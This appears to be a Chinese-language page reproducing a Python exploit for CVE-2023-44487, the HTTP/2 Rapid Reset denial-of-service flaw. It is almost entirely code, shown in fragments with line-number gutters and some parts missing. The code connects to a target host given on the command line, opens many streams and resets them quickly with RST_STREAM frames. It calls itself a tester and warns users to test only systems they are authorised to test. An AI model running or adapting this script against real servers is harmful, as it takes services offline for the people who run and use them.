HTTP/2 快速重置拒绝服务漏洞分析与利用

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29

#!/usr/bin/env python3
"""
# 漏洞标题：HTTP/2 2.0 - 拒绝服务攻击
# 谷歌搜索：-NA-
# 日期：2025年8月29日
# 漏洞作者：Madhusudhan Rajappa
# 厂商主页：-NA-
# 软件链接：-NA-
# 版本：HTTP/2.0
# 测试环境：-NA-
# CVE：CVE-2023-44487
"""

import asyncio
import ssl
import time
import argparse
import logging
from typing import Optional, Tuple
import statistics

try:
    import h2.connection
    import h2.events
    import h2.exceptions
    import h2.config
except ImportError:
    print("错误：h2库未安装。请使用以下命令安装：pip install h2")
    exit(1)

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13

class HTTP2RapidResetTester:
    """用于测试CVE-2023-44487 HTTP/2快速重置漏洞的类"""
    
    def __init__(self, host: str, port: int = 443, use_ssl: bool = True):
        self.host = host
        self.port = port
        self.use_ssl = use_ssl
        self.connection = None
        self.reader = None
        self.writer = None
        self.response_times = []
        self.errors = []
        self.connection_closed = False

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29

async def connect(self) -> bool:
    """建立与目标服务器的HTTP/2连接"""
    try:
        logger.info(f"连接到 {self.host}:{self.port}")
        
        if self.use_ssl:
            ssl_context = ssl.create_default_context()
            ssl_context.set_alpn_protocols(['h2'])
            self.reader, self.writer = await asyncio.open_connection(
                self.host, self.port, ssl=ssl_context
            )
        else:
            self.reader, self.writer = await asyncio.open_connection(self.host, self.port)
        
        # 初始化HTTP/2连接
        config = h2.config.H2Configuration(client_side=True)
        self.connection = h2.connection.H2Connection(config=config)
        self.connection.initiate_connection()
        
        # 发送连接前言
        await self._send_data(self.connection.data_to_send())
        
        logger.info("HTTP/2连接建立成功")
        self.connection_closed = False
        return True
        
    except Exception as e:
        logger.error(f"建立连接失败：{e}")
        return False

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16

async def rapid_reset_test(self, num_streams: int = 100, delay: float = 0.001) -> dict:
    """
    执行快速重置攻击测试
    
    参数：
        num_streams: 要创建和重置的流数量
        delay: 流创建之间的延迟（秒）
    
    返回：
        包含测试结果的字典
    """
    logger.info(f"开始快速重置测试，使用 {num_streams} 个流")
    
    start_time = time.time()
    created_streams = []
    reset_streams = []

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16

# 阶段1：快速创建流
for i in range(num_streams):
    if self.connection_closed:
        logger.warning("在流创建过程中连接已关闭")
        break
        
    stream_id = (i * 2) + 1  # 客户端发起流的奇数编号
    
    # 创建HTTP/2头部
    headers = [
        (':method', 'GET'),
        (':path', '/'),
        (':scheme', 'https' if self.use_ssl else 'http'),
        (':authority', self.host),
        ('user-agent', 'CVE-2023-44487-Tester/1.0'),
    ]

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23

# 阶段2：快速重置所有流
reset_start = time.time()
for stream_id in created_streams:
    if self.connection_closed:
        logger.warning("在流重置过程中连接已关闭")
        break
        
    try:
        # 发送RST_STREAM帧取消请求
        self.connection.reset_stream(stream_id, error_code=0x8)  # CANCEL错误代码
        await self._send_data(self.connection.data_to_send())
        reset_streams.append(stream_id)
        
        if delay > 0:
            await asyncio.sleep(delay / 10)  # 更快的重置
            
    except h2.exceptions.StreamClosedError:
        # 流已关闭，继续
        pass
    except Exception as e:
        self.errors.append(f"重置流 {stream_id} 时出错：{e}")
        if "connection" in str(e).lower():
            break

1
2
3
4
5
6

async def baseline_test(self, num_requests: int = 10) -> dict:
    """使用正常HTTP/2请求执行基准测试"""
    logger.info(f"使用 {num_requests} 个正常请求执行基准测试")
    
    start_time = time.time()
    successful_requests = 0

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15

async def main():
    parser = argparse.ArgumentParser(
        description='CVE-2023-44487 HTTP/2快速重置漏洞测试器',
        epilog='警告：仅对您拥有或获得测试权限的系统使用！'
    )
    parser.add_argument('host', help='目标主机名')
    parser.add_argument('-p', '--port', type=int, default=443, help='目标端口（默认：443）')
    parser.add_argument('--no-ssl', action='store_true', help='禁用SSL/TLS')
    parser.add_argument('-s', '--streams', type=int, default=100, 
                       help='快速重置测试的流数量（默认：100）')
    parser.add_argument('-d', '--delay', type=float, default=0.001,
                       help='流操作之间的延迟（默认：0.001秒）')
    parser.add_argument('--baseline-only', action='store_true',
                       help='仅执行基准测试')
    parser.add_argument('-v', '--verbose', action='store_true', help='详细输出')